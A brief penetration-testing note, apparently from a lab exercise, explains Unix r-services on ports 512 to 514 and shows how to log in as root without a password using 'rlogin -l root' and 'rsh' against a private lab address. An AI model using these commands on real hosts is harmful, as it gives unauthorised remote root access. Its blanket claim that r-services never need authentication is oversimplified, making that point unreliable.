What is r-services

R-services run on port 512,513,514.

From a Unix-based platform, you use rsh, rlogin, and rexec clients to access the respective r-services running on a remote host.

Exploitation

The problem with r services is that it allows remotely logging to the server without requiring any authentication.

rlogin -l root 192.168.145.133

Make sure rsh-client is installed.Else it will default to ssh and hence will prompt for ssh key.

Alternate way to exploit:

rsh 192.168.145.133